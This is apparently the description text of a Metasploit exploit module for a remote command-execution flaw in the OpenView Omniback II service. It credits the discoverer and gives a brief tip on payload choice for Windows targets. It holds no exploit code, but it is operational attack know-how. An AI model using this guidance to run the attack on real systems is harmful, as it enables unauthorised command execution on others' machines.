          This module uses a vulnerability in the OpenView Omniback II
        service to execute arbitrary commands. This vulnerability was
        discovered by DiGiT and his code was used as the basis for this
        module.

        For Microsoft Windows targets, due to module limitations, use the
        "unix/cmd/generic" payload and set CMD to your command. You can only
        pass a small amount of characters (4) to the command line on Windows.
